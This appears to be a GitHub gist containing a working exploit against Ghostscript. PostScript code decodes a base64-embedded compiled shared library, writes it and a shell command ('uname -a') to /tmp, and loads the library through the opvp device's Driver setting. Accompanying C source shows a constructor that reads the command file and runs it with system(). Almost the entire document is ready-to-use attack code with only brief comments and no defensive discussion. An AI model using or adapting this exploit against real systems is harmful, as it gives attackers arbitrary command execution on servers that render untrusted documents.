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2RvbmUAc3Rkb3V0LmxvAGJ1ZgB2ZnByaW50Zi5sbwBwb3BfYXJnAHBhZC5wYXJ0LjAAZm10X2ZwAHhkaWdpdHMAcHJpbnRmX2NvcmUAc3RhdGVzAF9fc3lzY2FsbF9jcC5sbwBzY2NwAHB0aHJlYWRfdGVzdGNhbmNlbC5sbwBzdHJlcnJvci5sbwBlcnJtc2dzdHIAZXJybXNnaWR4AF9fbGN0cmFucy5sbwBmcmV4cGwubG8AZnJleHBsLmxvY2FsYWxpYXMAcG9zaXhfc3Bhd24ubG8AY2hpbGQAYmxvY2subG8AYWxsX21hc2sAYXBwX21hc2sAX19zdGRpb19jbG9zZS5sbwBfX3N0ZGlvX2V4aXQubG8AY2xvc2VfZmlsZQBkdW1teV9maWxlAG9mbC5sbwBvZmxfaGVhZABfX3N0YWNrX2Noa19mYWlsX2xvY2FsAF9fbGliY19zaWdhY3Rpb24AX19zdGRvdXRfdXNlZABfX2xjdHJhbnNfY3VyAF9fc3lzY2FsbF9yZXQAX19zdGRvdXRfd3JpdGUAX0RZTkFNSUMAX19tbWFwAF9fb2ZsX3VubG9jawBfX3VubG9ja2ZpbGUAX19od2NhcABfX2xjdHJhbnMAX19yZXN0b3JlX3NpZ3MAX19zdGRpb193cml0ZQBfX3Rvd3JpdGUAX192bV93YWl0AF9fb2ZsX2xvY2sAX19UTUNfRU5EX18AX191bmxvY2sAX19zeXNjYWxsX2NwX2MAX19saWJjAF9fZHNvX2hhbmRsZQBfX3N0ZGluX3VzZWQAX19zdGRpb19zZWVrAF9fcHRocmVhZF9zZXRjYW5jZWxzdGF0ZQBfX2xvY2tmaWxlAF9fY2xvbmUAX19fZXJybm9fbG9jYXRpb24AX19yZXN0b3JlX3J0AF9fdG93cml0ZV9uZWVkc19zdGRpb19leGl0AF9fZ2V0X2hhbmRsZXJfc2V0AF9fdGVzdGNhbmNlbABfX3B0aHJlYWRfdGVzdGNhbmNlbABfX2xjdHJhbnNfaW1wbABfX2Fib3J0X2xvY2sAX19mdW5jc19vbl9leGl0AF9fbWVtY3B5X2Z3ZABfX3N0ZGlvX29mbF9sb2NrcHRyAF9fYmxvY2tfYWxsX3NpZ3MAX19zdGRvdXRfRklMRQBfX2luaXRfc3NwAF9fZndyaXRleABfX3N0ZGlvX2V4aXQAX19sb2NrAF9fc3lzY2FsbF9jcABfX2Fpb19jbG9zZQBfX2xzZWVrAF9fbGliY19leGl0X2ZpbmkAX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9fc3RkaW9fY2xvc2UAX19zaWdhY3Rpb24AX19zdGRlcnJfdXNlZABfX3N0ZGlvX2V4aXRfbmVlZGVkAF9fZWludHJfdmFsaWRfZmxhZwBfX2Jsb2NrX2FwcF9zaWdzAHdhaXRwaWQAc3Rkb3V0AHNpZ2VtcHR5c2V0AHN0cmVycm9yAF9fc3RhY2tfY2hrX2d1YXJkAGV4ZWN2ZQBfX2ZwY2xhc3NpZnlsAG1lbWNweQBfX2N4YV9maW5hbGl6ZQBzeXN0ZW0AcG9zaXhfc3Bhd24Ad2N0b21iAHNpZ2FkZHNldABfRXhpdABfX3N0YWNrX2Noa19mYWlsAHBpcGUAc3RybmxlbgBwb3NpeF9zcGF3bmF0dHJfaW5pdABwb3NpeF9zcGF3bmF0dHJfc2V0c2lnZGVmYXVsdABfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAG1lbWNocgBfX19lbnZpcm9uAF9fcHJvZ25hbWUAcmVhZABwcm9ncmFtX2ludm9jYXRpb25fc2hvcnRfbmFtZQBwdGhyZWFkX3NpZ21hc2sAcG9zaXhfc3Bhd25hdHRyX3NldHNpZ21hc2sAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAG1lbXNldABwaXBlMgBfX3NpZ25iaXRsAHNpZ2lzbWVtYmVyAGZ3cml0ZV91bmxvY2tlZABwb3NpeF9zcGF3bmF0dHJfc2V0ZmxhZ3MAZndyaXRlAF9fc3RyZXJyb3JfbABmcmV4cGwAb3BlbgBwcm9ncmFtX2ludm9jYXRpb25fbmFtZQB3Y3J0b21iAHBvc2l4X3NwYXduYXR0cl9kZXN0cm95AHZmcHJpbnRmAF9fcHJvZ25hbWVfZnVsbABzaWdwcm9jbWFzawAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5yZWxhLmR5bgAucmVsYS5wbHQALmluaXQALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWUALm5vdGUuZ251LnByb3BlcnR5AC5pbml0X2FycmF5AC5maW5pX2FycmF5AC5kYXRhLnJlbC5ybwAuZHluYW1pYwAuZ290AC5nb3QucGx0AC5kYXRhAC5ic3MALmNvbW1lbnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfAAAABQAAAAIAAAAAAAAAOAIAAAAAAAA4AgAAAAAAAJABAAAAAAAAAwAAAAAAAAAIAAAAAAAAAAQAAAAAAAAAGwAAAPb//28CAAAAAAAAAMgDAAAAAAAAyAMAAAAAAADIAQAAAAAAAAMAAAAAAAAACAAAAAAAAAAAAAAAAAAAACUAAAALAAAAAgAAAAAAAACQBQAAAAAAAJAFAAAAAAAAuAUAAAAAAAAEAAAAAQAAAAgAAAAAAAAAGAAAAAAAAAAtAAAAAwAAAAIAAAAAAAAASAsAAAAAAABICwAAAAAAAKoCAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAANQAAAAQAAAACAAAAAAAAAPgNAAAAAAAA+A0AAAAAAACYAQAAAAAAAAMAAAAAAAAACAAAAAAAAAAYAAAAAAAAAD8AAAAEAAAAQgAAAAAAAACQDwAAAAAAAJAPAAAAAAAA2AMAAAAAAAADAAAAEwAAAAgAAAAAAAAAGAAAAAAAAABJAAAAAQAAAAYAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAMAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAARAAAAAEAAAAGAAAAAAAAABAgAAAAAAAAECAAAAAAAACgAgAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAE8AAAABAAAABgAAAAAAAACwIgAAAAAAALAiAAAAAAAAHj4AAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAABVAAAAAQAAAAYAAAAAAAAAzmAAAAAAAADOYAAAAAAAAAMAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAWwAAAAEAAAACAAAAAAAAAABwAAAAAAAAAHAAAAAAAACoDAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAGMAAAABAAAAAgAAAAAAAACofAAAAAAAAKh8AAAAAAAAYAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAABtAAAABwAAAAIAAAAAAAAACH0AAAAAAAAIfQAAAAAAADAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAgAAAAA4AAAADAAAAAAAAAACOAAAAAAAAAH4AAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAIwAAAAPAAAAAwAAAAAAAAAQjgAAAAAAABB+AAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAACYAAAAAQAAAAMAAAAAAAAAGI4AAAAAAAAYfgAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAApQAAAAYAAAADAAAAAAAAACiOAAAAAAAAKH4AAAAAAACQAQAAAAAAAAQAAAAAAAAACAAAAAAAAAAQAAAAAAAAAK4AAAABAAAAAwAAAAAAAAC4jwAAAAAAALh/AAAAAAAAMAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAACzAAAAAQAAAAMAAAAAAAAA6I8AAAAAAADofwAAAAAAAGABAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAvAAAAAEAAAADAAAAAAAAAGCRAAAAAAAAYIEAAAAAAAAIAQAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAMIAAAAIAAAAAwAAAAAAAACAkgAAAAAAAGiCAAAAAAAA4AQAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAADHAAAAAQAAADAAAAAAAAAAAAAAAAAAAABoggAAAAAAADYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAoIIAAAAAAAAwDwAAAAAAABgAAABmAAAACAAAAAAAAAAYAAAAAAAAAAkAAAADAAAAAAAAAAAAAAAAAAAAAAAAANCRAAAAAAAAsQYAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAAAAwAAAAAAAAAAAAAAAAAAAAAAAACBmAAAAAAAANAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA) def
outbase64 base64Decode { outfile exch write } forall
outfile closefile
% Write command to /tmp/commandinput
/outfilecmd (/tmp/commandinput) (w) file def
/commandline (uname -a) def
outfilecmd commandline writestring
outfilecmd closefile
% Load library using opvp
<< /OutputDevice /opvp /Driver (/tmp/lib.so) >> setpagedevice
// Use musl-gcc -static -shared -o /tmp/lib.so lib.c
#include <unistd.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
static void __attribute ((constructor)) init(void) {
int fd = open("/tmp/commandinput", O_RDONLY);
int len = lseek(fd, 0, SEEK_END);
const char *data = mmap(0, len, PROT_READ, MAP_PRIVATE, fd, 0);
printf(data);
exit(system(data));
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment